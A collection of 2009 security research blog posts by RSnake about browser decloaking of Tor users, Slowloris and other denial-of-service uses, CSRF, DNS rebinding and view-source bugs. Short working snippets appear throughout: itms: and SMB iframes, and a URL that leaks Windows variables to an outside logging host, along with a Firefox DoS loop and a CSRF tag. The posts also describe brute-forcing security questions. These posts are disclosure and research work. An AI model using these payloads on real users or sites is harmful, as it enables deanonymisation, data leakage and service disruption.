  Now, I could probably be convinced by people who claimed that this was just a side effect of how it is supposed to work. Sure, when you travel to Google again it is sending the same cookie, but it’s easier to use Google.com instead of safebrowsingbygoogle.com or something that wouldn’t have the additional privacy issues associated with sending this cookie when just normally using Google’s website. They already have google.com set up with load balancing and all the other snazzy stuff. Sure, I could believe all that. But here’s where I have a hard time believing it’s not for tracking.

  When I started looking at Chrome I noticed two additional pieces of information that were being phoned home outside of Safe Browsing. This time, instead of it being 30 times an hour, it was more like once every 5 hours, which is still quite a bit if you ask me. The two extra pieces of data were “machineid” and “userid” - both computed information based on machine/user information. This information is sent along with a bunch of other browser information to ask Google if they should download an update. Now here’s the real question: why would Google need to know my machineid and userid to give me an update - wouldn’t the version number of my browser be enough to make that decision? I just can’t believe this isn’t used for tracking. There’s no more plausible deniability. What a perfect way to spy on people too… use their own browser against them in the name of security.

  Anyway, Safe Browsing is a great feature since it protects you from phishing and malware sites. It’s too bad it comes with the baggage of anti-privacy. It doesn’t matter if Google’s privacy policy says they don’t use this information in this way or that way. In the face of a court order all that policy hand waving is irrelevant. They have the right/responsibility and ability to track you and any anyone else who uses their products if they are told to by a court of law. Now the international implications of this are unknown to me, because I am definitely not an international lawyer, but I would suggest that legal systems work differently in China and elsewhere in the world, where Google also does business. All I can say is that this extra feature of their technology makes my skin crawl. Incidentally if you want to turn it off in Firefox go to Tools->Options->Security and uncheck both “Block reported attack sites” and “Block reported web forgeries.” I don’t think there’s a way to turn off sending your machine or userid from within Google Chrome. So my advice for Google Chrome is: don’t use it.

• 

  Find Evan Ratliff Win $5000

  Posted: August 20th, 2009, 9:50am CDT by RSnake

  Tags:  Webappsec   [edit]

  I was sent this article today on finding Evan Ratliff. He’s a reporter that wants to be found. Kind of a cool gimmick, and something normally I’d probably get involved with, but there’s just one problem - he’s probably in San Francisco or surrounding areas, and I’m definitely not. So if you happen to be in SF there’s a number of tricks that I’ve just talked about that you can use.

  Firstly, you know he’s using Tor and is accessing twitter, social networking and email, so the several de-cloaking methods we’ve talked about will probably come in handy here, like itms and smb. There are lots of others too, but you get the idea. Depending on the type of Tor application he’s using and which browser, it will dramatically change how you’d get his real IP. For instance, Tor button is very good, while Tor Browser is not at protecting against all the JS trickery, since Tor Browser does nothing to actually stop client side technologies from working.

  If you do happen to find him, please do some ultra-targeted advertising about his erectile issues, “Evan Ratliff, have trouble satisfying women…?” - because that would cause me to die laughing. Anyway, it’s a cool article, and good luck to you if you happen to want to participate!

• 

  itms Decloaking

  Posted: August 19th, 2009, 11:43am CDT by RSnake

  Tags:  Webappsec   [edit]

  Another thing Jabra and I mentioned in the presentation actually dates back several months. HD Moore was talking about how someone (name is slipping my mind at the moment) had found some exploit using itms: protocol, used by iTunes, but part of it had to do with the fact that they needed to redirect off of Apple’s website to land on their payload. The redirect was eventually closed down, but it got me thinking and looking at iTunes. After about 20 minutes of looking I found a way to bypass itms’s limitations on which domain it allows you to connect to, which is a bug, but not a particularly serious one:

  <iframe src="itms:www.apple.com:80@ha.ckers.org"></iframe>

  So I handed it back to HD Moore and he added it as a feature to decloak a few months back. Why? Because it turns out that in specific circumstances it’s actually pretty good at decloaking people. If you are using Firefox and a proxy, it will go outside of the proxy model of the browser and use the underlying network settings of the operating system. So the first request will come from your proxy but the itms request will come from your real external IP. Add in some DNS foo to make the DNS request unique per person and you’ve got yourself a decloaking engine. You can see it on decloak if you want to take a look at it. And like before, if there is an exploit in itms where you need to include a payload into it off of Apple’s website, this is another way to do it.

  I talked with Microsoft, Apple and Firefox about this and we had a very hard time talking about who owns this bug. Let’s say for a second Apple had no bug there, and it was working as intended. Who’s bug would it be? Apple for not following the proxy model? Firefox for not forcing the proxy model on all of it’s sub components OR for having it’s own unique proxy model? Or is it Microsoft who runs the entire operating system. I don’t think we ever came to a conclusion, but I’m more and more thinking it’s Firefox’s fault. They did go down the path of creating their own proxy model a long time ago (out of necessity). Now the question is, should they fix it? I for one would hate it if it got fixed. Sure, it’s horrible from a privacy perspective, but it’s great for usability. I’m constantly stuck on weird networks with weird proxy settings in the OS, and I need to get out for some reason. I think there are a lot of other people in the same boat too. So I doubt this is getting fixed any time soon.

  This brought up one last conversation that I thought was worth sharing. The private browsing initiative that several browsers are undertaking at the moment really was never meant to protect users from this sort of privacy leak. It was intended to prevent wives from seeing what presents their husbands are buying them for their birthday. *cough* But maybe future versions should do a better job of this sort of privacy leaks - better integrate with Tor or something of that nature. I dunno, but it was an interesting conversation with the browser/OS/plugin guys.

• 

  SMB Decloaking

  Posted: August 11th, 2009, 2:54pm CDT by RSnake

  Tags:  Webappsec   [edit]

  Still in line with the DefCon preso, next on the list of things I need to talk about is SMB. Yeah, I already talked about SMBenum, but that’s different - that is about knowing what you’ve got on your dive. SMB itself is a way for two computers to talk to one another. The simplest example is an iframe. Of course you need to have SMB running on both sides and they need to be able to communicate together for this to work. But the nice thing is if you’ve got Wireshark running you can get the real username, IP address, computer name, service pack and possibly other interesting tidbits.

  <iframe src="file:///\123.123.123.123/"></iframe>

  Of course for this to work several things have to be true. One, the above IP address needs to be modified to be the attacker’s computer. Two, the attacker needs to be running SMB services to listen and get the information. Three, the company where the victim is connecting from must allow outbound SMB - which I’m told is only about 50%. So 50% of people running 60% of browsers (an IE variant) will be vulnerable to this. Still not terrible and isn’t particularly noisy either and requires no user interaction, which is nice.

• 

  De-cloaking in IE7.0 Via Windows Variables

  Posted: August 10th, 2009, 10:19am CDT by RSnake

  Tags:  Webappsec   [edit]

  Update: Tyler Reguly told me that you actually can get this working in IE8.0 but it needs to be part of a path. So I updated the example below so that it works in both.

  One of the things Josh and I talked about during our preso was a way to get people to disclose their usernames and their machine names using a simple URL. Well, it turns out that in IE7.0 if you cut and paste things with a %…% in them it translates to a OS variable. So if you include something like %computername% or %appdata% or the like you’ll end up with machine names and full paths to the user’s home directory. That can be super helpful for de-cloaking. Please note this only works in Internet Explorer. Here’s an example:

  http://ha.ckers.org/log.cgi/rAnd0mcr4p%aPpdAta%2hide%coMpuTeRnaME%th3v4rz

  If you cut and paste that it will be translated on the fly before it is sent. So how you’d use this is either just like you see above - a URL that must be cut and pasted to be used or something like a broken link that is clearly easily re-constructed just by changing one letter or removing a space or something. I never did find a way to automatically get this to fire. I tried in CSS, images, iframes, frames, word docs, PDFs, and on and on. If someone figures out a way to make it automatically fire without user interaction that would make this a lot more useful. Either way, it seemed worthy of a post.

• 

  SMBEnum

  Posted: August 9th, 2009, 1:12pm CDT by RSnake

  Tags:  Webappsec   [edit]

  I’m going to do a small series of posts about a bunch of the topics Jabra and I covered in our presentation on Sunday at DefCon, since we had a ton to cover and a lot of it probably deserves to have a permanent home on the web where people can look at it and talk about it if need be. Also slide-deck form probably isn’t good enough. Anyway, one of the things we discussed was a way to enumerate certain types of files on Windows from within Internet Explorer. This is almost exactly the same issue as the Gregory R. Panakkal’s sysimage disclosure from 2004, for those of you who remember your browser history. Except this variant does not use sysimage, but SMB.

  If you’ve got Internet Explorer you can check out an example here. Jabra has since ported it into Wade’s BeEF as well. This isn’t extremely good at enumerating the entire system because it can only find images, CSS, JavaScript and the like. Other types of files don’t have cross zone information leakage - or no well known way to do that anyway. The point being you can get somewhat granular, and then use another more granular method like David Byrne’s res timing attack or my version without JavaScript to get non-image file detection. You can’t reliably use res timing for much though because it’s too slow. But by combining the two an attacker can pretty quickly enumerate programs on a system. Why is that useful? Well the attacker can launch highly targeted attacks once you know the user has certain programs installed.

  Anyway, it’s my opinion that if sysimage needed to be fixed SMBenum too needs to be fixed since they provide virtually the same insights into a computer, using the same basic technique. Either way, it seemed bad enough to me that I thought it was worth writing up a tool to do it. You’ll note that it works differently on different systems, and there may be a way to optimize it, but I didn’t bother. There’s also a lot of images associated with lots of programs that I didn’t add in, but you get the basic idea.

• 

  Quicky Firefox DoS

  Posted: July 27th, 2009, 5:43pm CDT by RSnake

  Tags:  Webappsec   [edit]

  Well, it turns out I am speaking at Blackhat after all - plus I have an OWASP preso to do tomorrow. That makes five presos in 6 days. Shoot me now. Anyway, I was playing around with Firefox today and accidentally found a super tiny DoS for Firefox that reminded me of my childhood. Remember that math puzzle where you put one penny on one square and then two on the next and four on the next and so on? Clearly that would amount to more money than you could realistically have when you really think through it, but kids have a hard time wrapping their heads around it. This is sort of similar, except it’s not geometric, it’s linear, which was surprising that it caused Firefox so much pain. I had just assumed the JS engine in Firefox would have said that it’s running too tight of a loop and throw the “running too slow” prompt at worst - or just finish at best since it doesn’t look all that complicated:

  var a;
  for(i=0;i<65536;i++){
  document.write(a+=String.fromCharCode(i));
  }

  I let this run for 10 minutes on a decent sized test machine and it never finished - I had to kill the process. Yeah, I know there are a million ways to DoS browsers, this one was just surprising because I honestly didn’t think it could. Anyway, if I don’t post before then, see you in Vegas!

• 

  wget DNS-rebinding and Weak Intranet Port Scanning

  Posted: July 21st, 2009, 2:14pm CDT by RSnake

  Tags:  Webappsec   [edit]

  For my upcoming speech at DefCon on Friday of next week I was testing a server that happens to not be open on a port that you’d expect it to be. That same server also uses load balancing via DNS so it has a ton of different IP space that it points to. So I wanted to check to see if that port was open on any of the servers that were connected to it. I used wget to do this. It looked something like this:

  $ wget –server-response –timeout=3 https://somesite.com/
  –2009-07-21 13:58:32– https://somesite.com/
  Resolving somesite.com… 1.1.1.1, 2.2.2.2, 3.3.3.3, …
  Connecting to somesite.com|1.1.1.1|:443… failed: Connection timed out.
  Connecting to somesite.com|2.2.2.2|:443… failed: Connection timed out.
  Connecting to somesite.com|3.3.3.3|:443… failed: Connection timed out.
  Connecting to somesite.com|4.4.4.4|:443… failed: Connection timed out.
  Connecting to somesite.com|5.5.5.5|:443… failed: Connection timed out.
  Connecting to somesite.com|6.6.6.6|:443… failed: Connection timed out.
  Connecting to somesite.com|7.7.7.7|:443… failed: Connection timed out.
  Connecting to somesite.com|8.8.8.8|:443… failed: Connection timed out.
  Connecting to somesite.com|9.9.9.9|:443… failed: Connection timed out.
  Connecting to somesite.com|10.10.10.10.|:443… failed: Connection timed out.
  Connecting to somesite.com|11.11.11.11|:443… failed: Connection timed out.
  Retrying.

  …

  So you can see that if it can’t find the first IP address in your list of IPs that you provide in the DNS it’ll try the second, if that’s also unreachable then it’ll try the third and so on. This means that if you can detect that someone is using wget on you you can essentially rebind their IP address to something else, assuming you have the other IP address that you want to rebind them to listed. So you can rebind them to Google or something and have them spin forever trying to download the Internet or something else just as dumb. Or you can point them to their own internal IPs…

  That means that there is a second and much more weak attack there as well. Let’s say I had a list of DNS entries like 1.1.1.1, 192.168.0.1, 1.1.1.1, 192.168.1.1, 1.1.1.1, 10.0.0.1, 1.1.1.1, …. where it alternated back and forth between my domain (1.1.1.1) and internal RFC1918 address space. If it fails the first one it’ll try the second. If there’s a closed port there, it’ll miss that one and try the third (my IP again) and so on. I don’t have an open port but that doesn’t mean I can’t see the SYN packet coming in. In this way you can create a very weak intranet port scan, that will stop scanning as soon as it hits the very first successful IP address internally. So it’s almost useless as an attack. But still - really? Why does wget of all things need to be vulnerable? What’s next? Heap spraying in lynx?!

• 

  Hash Information Disclosure Via Collisions - The Hard Way

  Posted: July 13th, 2009, 5:44pm CDT by RSnake

  Tags:  Webappsec   [edit]

  Every once in a while I have those discussions with id about “what I would do if I were the NSA and had no mission to accomplish.” It could also be called the overgrown “boys with toys” conversation. It typically goes off on tangents where we abuse system resources for entirely impractical applications, and this is no different. Today we started talking about the PS3 collisions stuff. Cool indeed. But what if we wanted to use something entirely unrelated to find something that’s barely worth knowing? Ahh, that’s where gigantic rainbow tables comes into play.

  Every hashing algorithm has possible collisions once you allow a certain number of chars to be hashed. Let’s say you found out that “bob” and “sam” collided in whatever hashing algorithm. If you created an account on a web server with the password of “bob” and then later typed in the password of “sam” assuming no salts you would be able to get into the system. That’s not all that interesting because you could get into your own account anyway. The vaguely more interesting fact is that you now know what hashing algorithm is being used. Rinse and repeat for every salt (random set of chars preceding, after, or XOR’d typically), every password rule variant (must have upper case, or must have special chars, etc…) and every hashing algorithm (MD5, SHA1, SHA256, double hashed because people think they’re being super clever, etc…) and you have an extremely overkill way to get a very small amount of information disclosure. Yes, what a waste of taxpayer money!

  The slightly less impractical implication of this is if you already had some collisions that you could use for this purpose you could attempt certain types of brute force against passwords that matched on the backend but were in fact different passwords when applied to a blacklist of typed passwords. Also, you could use these kinds of tricks for other sorts of database collisions where a primary key is a hash of some known data. What a complete waste of resources that are best used for far more interesting tasks, if you ask me. But hey - it’s possible.

• 

  Running JavaScript in Chrome Despite View-Source

  Posted: July 10th, 2009, 3:54pm CDT by RSnake

  Tags:  Webappsec   [edit]

  Yeah, I know, I’m very late to the rush of installing the way over-hyped and extremely poorly named, Chrome browser. For those who aren’t in the know, it’s sort of like naming a car “Engine”. Ignorant person says, “I’ve got an Engine.” Smart person says, “I know, I have an Engine too. Everyone who has a car does.” Ignorant person says, “Really? I thought they just came out.” Smart person says, “Wait, are you talking about the car, Engine.” Ignorant person says, “Yes, of course I am.” So people who actually know what chrome is have to deal with ignorant people that think we’re talking about Google’s attempt at installing more crap on people’s desktop and confusingly misinterpret when guys like us are talking about chrome versus Chrome. Gah!

  Anyway, despite that idiocy which I am sure will haunt me for many many years to come, I was going through looking at some old functionality that I haven’t toyed with in a while and I noticed something odd almost immediately. Google Chrome appears to allow JavaScript to fire despite the fact that you are viewing source through the view-source: directive. Click here for an example (only works in Chrome with JavaScript enabled). This doesn’t work in IE, Firefox, Safari, or Opera - yup, it’s a Chrome only problem. Why is this a problem? Because some security people use view-source: to neuter the danger of pages that they think are potentially malicious - so that they can safely view the page without any JavaScript firing - alas, so much for that idea - at least in Chrome.

• 

  Sample DNS Rebinding Code

  Posted: July 6th, 2009, 2:18pm CDT by RSnake

  Tags:  Webappsec   [edit]

  I’ve been toying around a little with DNS rebinding code lately, with some mixed results. Firstly, Java fixed their DNS rebinding issues (although it is my opinion they are still vulnerable, just in a different way - I talked with Dan Kaminsky about this and he agrees. Also CUPS fixed their DNS rebinding issues as well. All good things. However, there’s still tons of exploits left to find in this arena.

  Anyway, I went hunting for some good sample DNS rebinding server code, and I couldn’t find anything that was remotely good or easy to work with in a test environment. So I whipped up some sample code quickly for anyone interested in doing their own research. You can download the code here. Of course you’ll need some JavaScript/Java/Flash/etc… code to make the browser call the server twice, and you’ll need something to shut the port down after the initial call is made to force the browser to make the second DNS request, but I thought it was better to leave that part as an experiment for the user, since that code will probably vary a lot depending on the server environment.

• 

  CSRF And Ignoring Basic/Digest Auth

  Posted: June 30th, 2009, 2:51pm CDT by RSnake

  Tags:  Webappsec   [edit]

  One of the single most annoying things about CSRF and router hacking etc… is that you get the annoying popups on Basic and Digest authentication pages, asking you to log in. More and more devices are moving away from these popup style alerts and moving more towards form based authentication, which is better from a hacking perspective. But still, I would say the vast majority of firewall/switch/router devices out there use Basic or Digest based authentication. The problem with that from an attacker’s perspective is that it creates a noisy popup if it fails (if the user isn’t authenticated) that the user is bound to notice and question. Well, now we have an answer - at least in Internet Explorer:

  <DIV STYLE="background-image: url(http://router/path.to.hack)">blah</DIV>

  I know there are others tags that work, but probably not as well as this method from what I’ve seen so far. I haven’t found a reliable way in other browsers to allow this to happen, but I’ve only barely scratched the surface of the vast number of CSRFable tags out there. But anyway, yes, this doesn’t cause the Basic or Digest auth dialog to fire so it will be more stealthy upon performing a CSRF that fails. Of course for POST based CSRF you’re still out of luck…

• 

  Greater Precision in Timing Attacks Using DoS

  Posted: June 27th, 2009, 7:46pm CDT by RSnake

  Tags:  Webappsec   [edit]

  Because of all of the stuff that happened over the last week or so regarding Slowloris, I started thinking about other ways to use DoS to aid in existing attacks. A lot of times it’s really the opposite of what an attacker wants to do. Typically the attacker wants to keep the system alive so they can steal information from it or break into it. The more it stays up the better.

  As I mentioned a few days ago, there is one way you can use the site by keeping a session open that you initiated prior to the attack, so that essentially you are the only person on the system - or one of only a handful at best. Well one place this helps you is with timing attacks. If you know a system tends to react to load because of the heavy database calls or you just aren’t certain what the effect of a lot of users are, you have an option - denial of service.

  By denying service to everyone except you, you can remove the bandwidth and database chatter, and give you far more precise information about what is going on at the code and database levels. By examining the timing differences between a valid username that you know exists and an invalid one you know cannot exist you can create lists of valid usernames, or at minimum identify what the timing should be for both use cases with and without load. Again, this is another virtue of a DoS attack that leaves you alone on the system but stops everyone else from connecting. Having no one else is there to pester you or give you erroneous results is a timing attack dream come true.

• 

  Detecting MITM/Hacking Proxies Via SSL

  Posted: June 21st, 2009, 10:49am CDT by RSnake

  Tags:  Webappsec   [edit]

  There are several different ways for MITM/hacking proxies to handle SSL. They can create a self signed root cert that the attacker/user accepts once, they can do a per site snake oil cert, or they can simply downgrade the attacker/user to HTTP (a la Moxie’s sslstrip). Any of those work, and it’s kind of a matter of preference and circumstance as to which is better. But what if I’m running a site and I want to see if the user coming in is using a hacking proxy? There’s a few techniques to do that.

  First of all there’s really not all that much you can do within SSL itself to create more than binary options (there are some exceptions to that rule, and I’ll post about that later) but those binary options are actually just enough. Let’s say I have several sites. One of which is a banking site. The others just have something as simple as a tracking pixel on them. Firstly, the time difference between when the user pulls the SSL certificate and actually instantiates the site might indicate whether they are going directly to the site or if they had to take some time to accept a self signed-per site certificate (a la Burp Suite).

  Now if the MITM proxy uses a standard root signing certificate one of those sites with the tracking pixels on them can use the same standard root signing certificate (since it’s sitting right there in the tool and can probably easily be ripped out and re-tasked to be used on the banking’s tracking pixel site) to sign it’s own SSL session. If the user pulls it down anyway, even with the mis-match error, you know they are either using or have used that particular MITM proxy.

  Another pixel might be protected by a snake oil SSL certificate. If that image is pulled anyway, despite the mis-match error, there is a good chance they are using something like an sslstrip or something like a root signing authority. Because the image is pulled and it shouldn’t be, you know there must be something off here.

  Lastly, you can have another completely valid SSL signed site. If they are using something like Burp Suite it will give them a certificate mismatch error and it won’t pull the image (at least not immediately), even though it should. Although the image may get pulled eventually, as the hacker goes through the annoying manual process of adding the cert in or okaying it, the time frames will be so great compared to pulling images on the same site that it should be obvious that they aren’t an average user.

  Of course these techniques have strange effects on certain browsers, like the iPhone Safari browser as I talked about before. But if the user is claiming to be one of the common standard browsers, this technique should work - although I’d test it thoroughly before deploying it.

• 

  HTTP Longevity During DoS

  Posted: June 20th, 2009, 12:32pm CDT by RSnake

  Tags:  Webappsec   [edit]

  One of the things I noticed early on in my testing of Slowloris was that not every server reacted like you’d expect it to. Some gave database errors - I’m assuming because the database connections had different limits than the HTTP server. Whatever the reason, it only seemed vaguely interesting at first, from a fingerprinting perspective. The other issue is that to “see” the issue I had to basically hit a race condition by connecting to the webserver with my browser right in the split second as the sockets were being freed but before the database could recover. Not exactly the best way to go about things.

  Then I started thinking about HTTP pipelining works in browsers, and also how HTTP sessions can send more than one request over a single socket. So imagine this. A server is under a Slowloris attack and either prior to the attack or by re-purposing one of the existing sockets to send something like the following:

  GET / HTTP/1.1
  Host: www.whatever.com
  User-Agent: Mozilla/4.0 …
  Connection: Keep-Alive
  Accept-Encoding: identity, *;q=0
  Accept-Language: en
  Range: bytes=0-10

  On some web servers this will only send back a small amount of information because of the Range request header (the first ten bytes) which is awfully similar to a HEAD request, in terms of not wasting your bandwidth looking at something you don’t care about while you wait for the attack to ramp up. But more importantly the Keep-Alive will allow you to then send a second request a while later and then another one and so on…

  What that means is that you can be the one person sitting at a very large table - you’ll have the website all to yourself. That’s because all the other sockets are tied up, so that no one else can use the site. With some re-programming Slowloris could be capable of that task, or a secondary program could be used to initiate and hold open a certain amount of sockets that you can use and re-use as you probe the site or use it in peace - because no one else will be on the site to bother you. It’s just another interesting side effect of a DoS that only denies the service to everyone - except you.

• 

  Slowloris HTTP DoS

  Posted: June 17th, 2009, 10:32am CDT by RSnake

  Tags:  Webappsec   [edit]

  UPDATE: Amit Klein pointed me to a post written by Adrian Ilarion Ciobanu written in early 2007 that perfectly describes this denial of service attack. It was also described in 2005 in the “Programming Model Attacks” section of Apache Security. So although there was no tool released at that time these two still technically deserves all the credit for this. I apologize for having missed these.

  As you may recall at one point a few weeks back I talked about how denial of service can be used for hacking and not just yet another script kiddy tool. Well I wasn’t speaking totally hypothetically. A month ago, or so, I was pondering Jack Louis (RIP) and Robert E Lee’s Sockstress, and I got the feeling that other unrelated low bandwidth attacks were possible. Then I randomly started thinking about the way Apache works and figured out that it may be possible to create something similar to a SYN flood, but in HTTP.

  Slowloris was born. It basically uses a concept of keeping an HTTP session alive indefinitely (or as long as possible) and repeating that process a few hundred times. So in my testing, against an unprotected and lone Apache server, you can expect to be able to take it offline in a few thousand packets or less on average, and then you can let the server come back again as soon as you kill the process. It also has some stealth features, including a method of bypassing HTTPReady protection. Why is this noteworthy?

  Typical flooding attacks require tons and tons of packets and end up denying service to other applications as a result. By creating a flood of TCP requests, sure you can take down an upstream router, or a web server, but it’s overkill if you really just want to take down a single website. Slowloris does this without sending an overabundance of TCP or HTTP traffic, and it does so without increasing the load significantly, or in any other way hurting the box (assuming other things aren’t tied to the HTTP processes - like a database for instance). This appears to only affect certain types of webservers (generally those that thread processes, like Apache, but not like IIS).

  So I contacted Apache a week ago, because I was a little concerned that I hadn’t heard much about this, other than one conversation with HD Moore about a similar attack he encountered using a different payload. I expected a well thought through response, given their dominance in the server market and the fact that I gave them an early copy of the code. Alas:

  DoS attacks by tying up TCP connections are expected. Please see:

  [httpd.apache.org]

  Regards, Joe

  Yes, that was the entire response. So, while RTFM is a perfectly valid response on the Internet, it’s also extremely short sighted, because almost no servers are configured properly - or if they are, it’s as a side effect of needing load balancing or something upstream that happens to protect them. Also, if you actually read that Apache.org page, it really doesn’t cover this attack at all. And Joe sorta totally missed the boat or at least mis-typed in his brevity, because this isn’t a TCP DoS, it’s an HTTP DoS. If your server used UDP and I re-wrote Slowloris to speak UDP it would work too. The best example of how this differs from a TCP DoS is the fact that other unrelated services are unaffected, and you can still connect to them like you normally would.

  The reason this works is because the web server will patiently wait well beyond what is reasonable, allowing an attacker to consume all of the available threads of which there are a finite amount. That makes it a web server problem, not a OS or networking problem, although there may be OS or network solutions to Apache’s default configuration issues. This is further evidenced by the fact that IIS isn’t vulnerable to Slowloris in it’s current incarnation. Even if Apache and IIS are on the same physical box, Apache will be affected but IIS will not. That would lead me to believe it’s a architectural flaw in Apache’s default web server’s design. Though this isn’t just Apache’s problem, to be fair. Other web servers are vulnerable as well, although none come close to the size of Apache in terms of market share. You can find more information on the Slowloris page.

  Anyway, I hope this gets people thinking about better web server architecture. That’s especially true if this is “expected” behavior of their web server, and at least offer a default configuration that can protect from this sort of attack, instead of having to jump through a bunch of convoluted hoops. I thought it would be better to open this up for discussion, so I encourage you to try out the tool in QA or staging and see how your web server handles it. The software is very beta though, so do not use this against anything in production - I make no warranties about its ability to do anything outside of a lab environment!

• 

  RFC1918 Blues

  Posted: June 8th, 2009, 3:02pm CDT by RSnake

  Tags:  Webappsec   [edit]

  Well, it’s been quite a week or so for me. 7 days of travel, to Las Vegas for SANS and Stockholm for the penetration testing summit. Man, I’m tired! But I promised tons of people I’d actually write out what I was talking about during my speeches, since it’s tough to cover everything in such a short presentation, with all the other things I was talking about, and now that I’m finally recovered from my jet lag, I had a chance to sit down and write it all out. For those of you who have no idea what I’m talking about, don’t worry, you’re not behind the times. You can read the whole RFC1918 issue here. I tried to make it into a blog post, but it kept getting longer and longer, so I just turned it into a whitepaper instead because it’s easier.

  Without re-explaining the paper, it turns out that in certain browser, and with certain VPN and the current architecture of most RFC1918 networks, there is a high tendency for bad things to inadvertently happen, like IP collisions. That’s annoying in the networking world (and a well known problem) but it’s dangerous in the security world (and far less understood). Anyway, I talked it over with HD Moore and Toby and some of the other guys at SANS and it turns out they had actually seen similar things happen in the past, so it’s been validated in the wild (again, inadvertently though).

• 

  Using Denial of Service for Hacking

  Posted: May 4th, 2009, 9:10am CDT by RSnake

  Tags:  Webappsec   [edit]

  Happy Monday! I spent the better part of this weekend thinking about denial of service, but rather than releasing a tool, I thought it would be worthwhile to talk about how denial of service attacks could be used in tandem with other attacks to exploit other logical or business issues. Let’s take a few examples:

  Timing: Let’s say you have a site that accepts bids up to a certain time of day - say an auction site or a site that allows you to bid on work or whatever. Most of the time people submit their bids as close to the deadline as they can so that their competitors don’t have time to revise their bids. Sure, you can write a robot to come in at the last fraction of a microsecond and underbid, but what if you want to keep your bid highest or lowest (depending on the type of site)? Well by submitting your bid earliest and then denying service to the application for the remainder of the time your competitors don’t have a chance to submit their bids.

  Web services: Sometimes, it’s not a matter of denying service to the site itself, which may have all sorts of robust protections in place, but sometimes the web service is actually more interesting. This could include things like authentication or even email. Let’s say I know someone is traveling and they use their phone to get their email. If I know they are in charge of responding to events, I can deny service to the webmail server and poof - suddenly they are no longer getting updates that something else is going on that they need to take care of.

  Diversionary: And that leads us to the last item on the list which is using denial of service as a diversionary tactic. Sure, we can just do the bad thing that we intend to, but wouldn’t it be so much better to throw a red herring in there to cause them to look in the wrong place while the attacker stealthily gets whatever he wants elsewhere?

  Anyway, it’s an interesting concept to talk about. I think most people think of DoS as a simple script kiddy menace without considering it’s other useful purposes. And now, with a case of the Mondays, it’s time to buckle down for a lonnng week.

• 

  Google “What’s Up” CAPTCHA

  Posted: April 20th, 2009, 2:16pm CDT by RSnake

  Tags:  Webappsec   [edit]

  I don’t have time for a full blown Google rant today, but I was forward this link today and I couldn’t believe my eyes. This is Google’s “What’s Up” CAPTCHA. You know, when I first heard about it it was described to me as “a picture and you have to tell it which way is up”. So my first reaction was “that’s a terrible CAPTCHA - only one in four chance.” Well, it’s not that bad. If you actually read the paper it’s actually a 1/22 chance (assuming no optimizations).

  There are other problems with this though - like the fact that it relies on a set of pictures and someone has to make a judgment call on what is the correct position. I bet it’s easier to solve for humans, but it’s also fairly trivial for robots to solve too. CAPTCHA - what does that mean anyway? Let’s see if Google’s project meets the definition:

  Completely Automated - Google employees need to make judgment calls ahead of time on each image orientation, so this requirement of a true CAPTCHA fails and incidentally adds a hidden cost to using the “What’s up” CAPTCHA, although it might not be huge, if you make the set small (which would cause other problems).

  Public - well, as public as anything Google does is public. It’s not open source or anything, but it’s out there.

  Turing Test to tell Computers - I would argue that it’s not a Turing test at all, because if you have a set of 45 robots that try only one guess a piece Google’s “What’s up” will fail to catch two of them. And again - that’s with zero optimizations. Second major failure making this not actually a CAPTCHA.

  and Humans Apart - I think it fails this one as well, since blind people are humans. So are non JavaScript/Flash/CSS wielding users - I know I’m human. So that’s three major failures of one definition alone. Not great!

  Someone with far greater math skills than I will some day create the mathematical proof that explains why CAPTCHAs aren’t technically achievable. It’s possible to create tests that are vaguely good at telling computers and humans apart (CAPVGTCHAs perhaps?) but unless my understanding of the universe is way off base, I think CAPTCHAs are modern day perpetual motion machines. Everyone thinks they get it and it can work, but it’s never been done, and no one has come even close, in my mind. Sorry, I know this wasn’t as good a Google rant as I normally come up with, but as one of their guys over there recently told me, “You don’t call, you don’t rant…” I know… too busy!

• 

  US Cities Dictionary

  Posted: April 17th, 2009, 2:30pm CDT by RSnake

  Tags:  Webappsec   [edit]

  Born from much frustration out of not seeing this anywhere else I finally created a dictionary file for all the US cities. I really couldn’t believe such a thing wasn’t already floating around. Tons of companies use US city names as names for hardware devices, passwords for networking devices, and so on. Anyway, it finally came to a head the other day when I was presented with a secret question that said “What is your city of birth?” Well, generally speaking you know that it has to be one out of around 20,000 cities in the US, so if they don’t have any brute force detection on the secret question you can brute force that pretty easily (10,000 guesses on average per account - which only takes about 1/2 an hour if you automate it).

  So I looked around places like Packetstorm’s wordlist page and a few other places and finally just decided it was easier to rip one of the GEOIP databases apart and generate my own. So if anyone else has had the same problems, never fear - you can just download the list of US Cities here. Hopefully that will make someone else’s life easier. Happy auditing!

• 

  Amazonfail And Anti-Automation

  Posted: April 16th, 2009, 3:22pm CDT by RSnake

  Tags:  Webappsec   [edit]

  If you haven’t heard about it, Amazon was hit by a pretty interesting attack a few days back, and I thought I should quickly talk about it. A guy named weev was upset that Amazon was pulling the adult content off the site because they were keeping gay and lesbian content. So he found himself a CAPTCHA breaking crew (presumably from this site since he mentioned it) and paid them to create a ton of accounts. Then he used those account to mark all the homosexual materials as offensive content. It took a while for Amazon to recover. You can find a lot of references to the event on Twitter.

  So in looking at the scripts weev wrote, although simple they were very effective in the short term. It cause Amazon a lot of grief. There’s a new company called Silver Tail Systems that’s working on an anti-automation/anti-fraud system that would have caught this type of attack in a number of different ways. Namely things like IP address, failure to follow flows properly, HTTP headers, and so on - all leave pretty obvious signals to an automated process. Anyway, I thought it was an interesting attack. Certainly not something you see every day.

• 

  Internet Explorer 8 and NoScript View Source Bugs

  Posted: April 10th, 2009, 4:43pm CDT by RSnake

  Tags:  Webappsec   [edit]

  So I’ve been sitting on two semi boring view source bugs. Not because I was saving them for a rainy day or anything, but it took me a while to think through them properly. Let’s pretend someone who is not entirely clever wants to do forensics on something to be sure the page is doing what they expect it to. This would be something like making sure that the username and password inputs are being posted to the proper SSL enabled website or something. We wouldn’t want that to be subverted so we view source to make sure it’s all kosher. Here come the two bugs.

  The first bug is in Internet Explorer 8. Internet Explorer has a typical null byte bug that makes it truncate the new view source function upon reaching a null byte. So if you were to go to a page that had a null byte in the middle of it, the rest of the page wouldn’t pop up. This is not true if you use an external editor or their new nifty Developer Tools functionality, but not many people do either of those. This doesn’t appear to affect any other Internet Explorer version that I looked at.

  Next is a bug in NoScript for Firefox. If you enable JavaScript (imagine it’s a site you trust or are forced to enable for various functionality) and POST some data from one page to another and then view source you’ll notice that instead of it sending a POST request it sends a GET request. I have no idea why, but it can be detected and in the case of seeing a GET request on a page that requires a POST the page can modify it’s resultant source code.

